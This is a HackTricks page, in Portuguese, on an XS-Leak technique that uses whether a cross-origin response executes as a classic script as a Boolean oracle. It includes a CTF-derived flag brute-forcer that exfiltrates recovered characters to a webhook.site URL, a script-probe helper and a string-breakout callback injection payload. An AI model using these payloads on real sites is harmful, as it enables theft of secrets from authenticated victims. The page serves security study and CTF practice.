JavaScript Execution XS Leak
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Este primitive de XS-Search transforma se uma resposta cross-origin executa como JavaScript em um oracle Boolean.
A configuração usual é:
- Positive state: o alvo retorna texto controlado pelo atacante ou conteúdo sensível que não executa como JavaScript do atacante.
- Negative state: o alvo reflete texto controlado pelo atacante em um local que é analisado como JavaScript válido, então o atacante pode forçar um callback como
window.parent.foo(). - Leak: carregue o alvo com um clássico
<script src>e observe se o callback é acionado.
Isso é basicamente um execution oracle, não um timing oracle. A única coisa de que o atacante precisa é uma cross-origin script inclusion que se comporte de forma diferente dependendo do branch dependente do segredo.
Para o contexto genérico de XS-Leaks, veja:
When This Works
Esta técnica é prática quando tudo a seguir é verdadeiro:
- A vítima está autenticada no target origin.
- O atacante pode fazer o navegador da vítima requisitar um classic script do target origin.
- Um branch retorna conteúdo que é valid attacker-controlled JavaScript.
- O outro branch retorna conteúdo que does not execute the attacker callback.
Na prática, os casos mais fáceis são endpoints de search/debug que:
- retornam texto controlado pelo atacante quando um palpite está errado
- retornam um body diferente quando o palpite está certo
- permitem que o atacante escolha um parâmetro como
callback,hint,msg, ou um prefixo/sufixo refletido
Basic Example
Código server-side que vai tentar ${guess} como um prefixo de flag:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
Página principal que gera iframes para a página /guessing anterior para testar cada possibilidade:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
A lógica do atacante é:
- Comece cada candidato como “good”.
- Carregue a resposta alvo como um script.
- Se a resposta executar
window.parent.foo(), marque o candidato como errado. - Se nenhum callback disparar, mantenha o candidato e continue o brute-forcing.
Minimal Probe Pattern
Em muitos alvos reais, um iframe não é necessário. Uma inclusão direta de script é suficiente:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
Se o branch de “wrong guess” refletir miss(), então:
probe(...) === falsesignifica que o callback foi executado ou o load falhouprobe(...) === truesignifica que o script carregou sem executar o attacker callback
Para confiabilidade, use um fresh script element por probe e adicione um cache-buster como ?r=${crypto.randomUUID()}.
Modern Caveats
It must be a classic script
Este primitive depende de o browser buscar o recurso como um classic script. Um <script src=...> simples sem crossorigin é buscado em modo no-cors, e é exatamente por isso que esse old pattern ainda é útil cross-origin.
Não troque para type="module" para esta technique:
- cross-origin module scripts require CORS
- muitos targets que podem ser incluídos como classic scripts simplesmente falharão como modules
MIME type and nosniff decide whether the payload executes
Browsers atuais são mais rígidos que writeups antigos. Se o target definir X-Content-Type-Options: nosniff, o browser vai bloquear uma resposta de script cujo MIME type não seja um JavaScript MIME type.
Isso significa que este oracle muitas vezes depende de:
- se o target retorna
application/javascript/text/javascript - se o target retorna
text/plain,text/html, ou JSON - se
nosniffestá presente
É também por isso que alguns endpoints só dão um leak em um branch: uma resposta é aceita como script, enquanto o outro branch é bloqueado ou parseado de forma diferente.
CORB can change the observable result
CORB adiciona outro branch para considerar. Se uma resposta for considerada CORB-protected, o Chromium pode transformá-la em uma empty valid script response em vez de expor uma parse failure. Então, para alguns endpoints:
- um estado dispara um normal script parse / callback
- outro estado vira um empty script e só
onloaddispara
Isso ainda é um oracle útil, mas o sinal agora é callback vs no callback ou onload vs onerror, não apenas “JavaScript executed or not”.
CSP can kill the attacker-controlled branch
CSP estrito na target response pode quebrar este primitive quando o reflected branch não é mais executable JavaScript. Writeups públicos de XS-Leak challenge de 2022 a 2024 dependem repetidamente desse detalhe:
script-src 'none'pode forçar attackers a mudar para longe de um direct execution oracle- interações de CSP/SRI/CSP-report ainda podem criar other leak oracles, mas isso pertence a outras pages/techniques
Então, quando o truque óbvio de callback não funcionar, inspecione os response headers antes de descartar o endpoint.
Useful Variants
Callback-parameter endpoints
O target mais conveniente é um endpoint no estilo JSONP ou de debug que aceita um parâmetro como:
callback=...cb=...jsonp=...hint=...msg=...
Se o branch “miss” refletir esse valor literalmente em JavaScript executável enquanto o branch “hit” retornar conteúdo diferente, você obtém um oracle Boolean direto sem medição de timing.
Syntax-preserving prefixes and suffixes
Às vezes você não consegue controlar totalmente o response body, mas ainda consegue fazer o negative branch executar:
- feche a string ou o argumento da função atual
- injete o callback
- comente os trailing bytes
Por exemplo, um reflected branch como:
showResult("<attacker>");
pode muitas vezes ser transformado em:
showResult("");window.parent.foo();//");
Se a branch positiva não refletir esse payload, o callback se torna o oracle.
Combinando com event-based oracles
Se o endpoint for instável entre browsers, misture o execution oracle com os eventos genéricos de carregamento de script já cobertos no índice da seção:
- callback fired
onloadonerror
Isso é especialmente útil quando uma branch produz JavaScript válido e outra branch produz comportamento bloqueado de MIME / CORB / CSP.
Páginas relacionadas:
Notas Práticas
- Prefira um bit por request e mantenha o side effect do callback simples.
- Se você testar muitos candidatos, remova elementos
<script>inseridos anteriormente ou isole cada tentativa em um iframe novo. - O comportamento de cache e service worker pode contaminar o oracle; use cache-busting.
- Este primitive é mais forte quando a branch negativa é JavaScript totalmente controlado pelo atacante. Se você obtiver apenas reflexão parcial, o exploit vira um problema de payload-shaping em vez de um problema de XS-Search.
Referências
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


